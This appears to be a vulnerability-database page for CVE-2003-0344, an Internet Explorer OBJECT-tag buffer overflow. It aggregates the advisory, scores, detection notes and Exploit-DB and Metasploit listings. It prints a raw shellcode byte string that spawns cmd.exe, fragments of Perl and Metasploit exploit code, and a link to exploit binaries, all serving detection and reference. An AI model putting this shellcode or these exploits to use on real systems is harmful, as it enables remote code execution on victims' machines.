CVE-2003-0344
published 2003-06-16CVE-2003-0344: Buffer overflow in Microsoft Internet Explorer 5.01, 5.5, and 6.0 allows remote attackers to execute arbitrary code via / (slash) characters in the Type…
PriorityP339high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
81.31%
99.6th percentile
Buffer overflow in Microsoft Internet Explorer 5.01, 5.5, and 6.0 allows remote attackers to execute arbitrary code via / (slash) characters in the Type property of an Object tag in a web page.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | ie | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
| microsoft | internet_explorer | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x33\xdb\x8b\xd4\x80\xc6\xff\xc7\x42\xfc\x63\x6d\x64\x01\x88\x5a\xff\x8d\x42\xfc\x8b\xf5\x56\x52\x53\x53\x53\x53\x53\x53\x50\x53\xb8\x41\x77\xf7\xbf\xff\xd0\xb8\xf8\xd4\xf8\xbf\xff\xd0\xcc
- →The vulnerability is triggered via an OBJECT tag with an overly long 'type' attribute in an HTML page served to Internet Explorer 5.x–6.x. Detect HTTP responses containing <OBJECT> tags with excessively long TYPE attribute values. ↗
- →The Metasploit module uses an egghunter technique with checksum validation. Detect egghunter shellcode patterns in HTTP response bodies delivered to IE clients. ↗
- →The exploit payload avoids bad characters \x8b and \xe2 to prevent UTF-8-ification. Shellcode in exploit traffic will not contain these bytes. ↗
- →The Metasploit module fingerprints the victim OS via the User-Agent string (Windows NT 5.2, 5.1, or generic NT) to select the appropriate return address. Detect exploit delivery servers that serve different payloads based on IE User-Agent OS version strings. ↗
- →The PoC exploit shellcode size is limited to 56 bytes and spawns cmd.exe via CreateProcessA. Monitor for short shellcode blobs (~56 bytes) in browser exploit traffic that reference CreateProcessA. ↗
- ·The return addresses used in the Metasploit module are OS-specific and may vary with service pack level. The listed addresses target Windows NT (samlib), Windows XP SP0/1 (ws2_32), and Windows 2003 SP0/1 (user32) only. ↗
- ·The PoC exploit's hardcoded return address ($ret) and KERNEL32.DLL image base may differ across target systems and must be adjusted for reliable exploitation. ↗
- ·CVE-2003-0701 is described as a variant of CVE-2003-0344 specifically affecting double-byte encoding languages (e.g., Japanese) via the Type property of an Object tag in IE 6 SP1. ↗
- ·The Metasploit module has no reliable pre-exploitation test mechanism; it attempts exploitation blindly. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-8c96-w9m5-2cx3: Buffer overflow in Microsoft Internet Explorer 5
ghsa_unreviewed·2022-04-29
CVE-2003-0344 [HIGH] GHSA-8c96-w9m5-2cx3: Buffer overflow in Microsoft Internet Explorer 5
Buffer overflow in Microsoft Internet Explorer 5.01, 5.5, and 6.0 allows remote attackers to execute arbitrary code via / (slash) characters in the Type property of an Object tag in a web page.
GHSA
GHSA-q262-c8g4-pw6q: Buffer overflow in Internet Explorer 6 SP1 for certain languages that support double-byte encodings (e
ghsa_unreviewed·2022-04-29·CVSS 7.5
CVE-2003-0701 [HIGH] GHSA-q262-c8g4-pw6q: Buffer overflow in Internet Explorer 6 SP1 for certain languages that support double-byte encodings (e
Buffer overflow in Internet Explorer 6 SP1 for certain languages that support double-byte encodings (e.g., Japanese) allows remote attackers to execute arbitrary code via the Type property of an Object tag, a variant of CVE-2003-0344.
No detection rules found.
Exploit-DB
Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit)
exploitdb·2010-08-25
CVE-2003-0344 Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit)
Microsoft Internet Explorer - Object Type (MS03-020) (Metasploit)
---
##
# $Id: ms03_020_ie_objecttype.rb 10150 2010-08-25 20:55:37Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 HttpClients::IE,
:javascript => false,
:os_name => OperatingSystems::WINDOWS,
:vuln_test => nil, # no way to test without just trying it
:prefix_html => "",
:postfix_html => "",
:rank => NormalRanking # reliable memory corruption
})
def initialize(info = {})
super(update_info(info,
'Name' => 'MS03-020 Internet Explorer Object Type',
'Description' => %q{
T
Exploit-DB
Microsoft Internet Explorer - Object Tag (MS03-020)
exploitdb·2003-06-07
CVE-2003-0344 Microsoft Internet Explorer - Object Tag (MS03-020)
Microsoft Internet Explorer - Object Tag (MS03-020)
---
#!/usr/bin/perl
#
# Proof of concept exploit on IE 5.x - 6.x by Alumni
# IE-Object longtype dynamic call oferflow
#
# url://
# the flaw actually exists in URLMON.DLL when converting backslashes
# to wide char, this can be seen on stack dump near '&CLSID=AAA...2F__2F__...'.
#
# To exploit: i) start server perl script;
# ii) connect to http-service using IE/5.x.
# a) the shellcode size is limited up to 56 bytes;
# b) the '$ret' may differ as well as the image base of KERNEL32.DLL;
# c) to avoid multiple encoding the shellcode is given 'as is' with help of JScript.
#
use IO::Socket;
$port = 80;
$server = IO::Socket::INET->new (LocalPort => $port,
Type =>SOCK_STREAM,
Reuse => 1,
Listen => $port) or die("Couldnt't create
server socket
Exploit-DB
Microsoft Internet Explorer 5 - OBJECT Tag Buffer Overflow
exploitdb·2003-06-04
CVE-2003-0344 Microsoft Internet Explorer 5 - OBJECT Tag Buffer Overflow
Microsoft Internet Explorer 5 - OBJECT Tag Buffer Overflow
---
source: https://www.securityfocus.com/bid/7806/info
Microsoft Internet Explorer is prone to a boundary condition error when handling OBJECT tags in web pages. When a web page containing an OBJECT tag using a parameter containing excessive data is encountered by a vulnerable client, a internal memory buffer will be overrun. This could cause Internet Explorer to fail or potentially result in the execution arbitrary code in the security context of the current user.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22726.tar
Metasploit
MS03-020 Microsoft Internet Explorer Object Type
metasploit
MS03-020 Microsoft Internet Explorer Object Type
MS03-020 Microsoft Internet Explorer Object Type
This module exploits a vulnerability in Internet Explorer's handling of the OBJECT type attribute.
No writeups or analysis indexed.
http://lists.grok.org.uk/pipermail/full-disclosure/2003-July/006401.htmlhttp://marc.info/?l=bugtraq&m=105476381609135&w=2http://secunia.com/advisories/8943http://www.eeye.com/html/Research/Advisories/AD20030604.htmlhttp://www.kb.cert.org/vuls/id/679556https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-020https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A922http://lists.grok.org.uk/pipermail/full-disclosure/2003-July/006401.htmlhttp://marc.info/?l=bugtraq&m=105476381609135&w=2http://secunia.com/advisories/8943http://www.eeye.com/html/Research/Advisories/AD20030604.htmlhttp://www.kb.cert.org/vuls/id/679556https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-020https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A922
2003-06-16
Published